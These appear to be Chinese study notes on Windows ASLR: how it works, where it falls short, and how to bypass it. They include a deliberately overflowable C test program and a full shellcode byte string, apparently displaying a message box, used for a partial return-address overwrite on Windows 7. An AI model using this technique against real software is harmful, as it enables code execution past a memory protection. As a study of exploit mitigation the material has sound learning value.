ASLR介绍
简介
微软的ASLR(Address Space Layout Randomization)技术就是通过加载程序的时候不再使用固定的基址加载,从而干扰shellcode的定位
从Windows Vista开始出现ASLR(Windows XP只是对PEB和TEB进行了简单的随机化处理)
ASLR的实现需要程序自身的支持和操作系统的双重支持,其中程序的支持不是必需的。
支持ASLR的程序在它的PE头中会设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识。
类型
映像随机化
在PE文件映射到内存时,对其加载的虚拟地址进行随机化处理,这个地址是在系统启动时确定的,系统重启后这个地址会发生变化。
出于兼容性的考虑,微软在系统中设置了映像随机化的开关,用户可以通过设置注册表中HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManageMemory ManagementMoveImages的键值来设定映像随机化的工作模式。
设置为0时映像随机化将禁用。
设置为-1时强制对可随机化的映像进行处理,无论是否设置注册表。
设置为其他值为正常1工作模式,安装注册表来执行。
堆栈随机化
堆栈的基址不是在系统启动时确定的,而是在打开程序的时候确定的,同一程序任意两次运行时的堆栈基址都是不同的。也就是各变量在内存中的位置也是不确定的。
PEB与TEB随机化
#include "stdio.h"
#include "stdlib.h"
int main(int argc, char* argv[]){
unsigned int teb;
unsigned int peb;
__asm{
mov eax,FS:[0x18]
mov teb,eax
mov eax,dword ptr [eax+0x30]
mov peb,eax
}
printf("PEB:%#0.4xnTEB:%#0.4x", peb, teb);
getchar();
return 0;
}
可以用上面的代码查看当前进程的TEB和PEB。
同时可以发现PEB和TEB的随机化不是非常好。
ASLR的局限
映像随机化
虽然模块的加载基址变了,但是各模块的入口点(Entry那列)地址的低位两个字节是不变的,也就是说映像随机化只是对加载基址的前两个字节做了随机处理。例如0x12345678,随机之后0x5678是不变的。
堆栈随机化
随机化了堆栈的基址可以有效的防止精准攻击,但自从JMP ESP跳板指令开始使用后溢出时很少直接跳到shellcode执行;另外在浏览器攻击方面很流行的heap spray等技术都不需要精准跳转,只需要跳到一个大概位置就可以。
PEB与TEB随机化
随机化程度非常差,而且虽然地址是随机了但偏移量是固定的,也就是TEB存放在FS:0和FS:[0x18]处,PEB放在TEB偏移0x30的位置。
ASLR的突破
攻击未启用ASLR的模块
ASLR仅仅是项安全机制,不是什么行业标准,不支持ASLR的软件有很多。所以我们可以找到一块未开启ASLR的模块,利用它里面的指令作为跳板。
利用部分覆盖进行定位内存地址
无论是函数的返回地址,还是异常处理函数的指针,或者是虚函数表指针都是要存放到堆栈中的,虽然保存的地址是经过随机处理之后的地址,但是也仅仅是前2个字节的随机化,如果我们只覆盖这个地址的最后一个或两个字节,就可以达到目的了
ASLR只是随机化了映像的加载基址,而没有对指令序列进行随机化。所以绝对地址虽然变了,但相对地址确没有改变。
调试代码:
#include "stdafx.h"
#include "stdlib.h"
char shellcode[]=;
char * test()
{
char tt[256];
memcpy(tt,shellcode,262);
return tt;
}
int _tmain(int argc, _TCHAR* argv[])
{
char temp[200];
test();
return 0;
}
return tt; 就是把调用test函数后,eax保存的是tt数组的首地址,所以我们只要再调用call eax就行了
前面一大串shellcode和x90可以把tt溢出,作者原话是可以通过OllyFindAddr插件 找到call eax,但我试了一下并没有找到 (这里一定要用实验函数内的call eax,这样才不会随机化,其他dll里面的不能用) 那退回到代码,ctrl+f直接找命令,找到了 截取最后两个字节,将它覆盖到test函数的返回地址就可以了。 我们已经成功的跳转到了shellcode的位置。
最后的shellcode
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8b\x09"
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"
"\x1c\x14"
;
这里的新加了\x8b\x09,因为Windows 7下PEB_LDR_DATA指向加载模块列表中第二个位置被KERNELBASE.dll占据,kernel32.dll的位置由第二个变为了第三个。
利用Heap spray技术定位内存地址
利用Java applet heap spray技术定位内存地址
以后补充
为.NET控件禁用ASLR
以后补充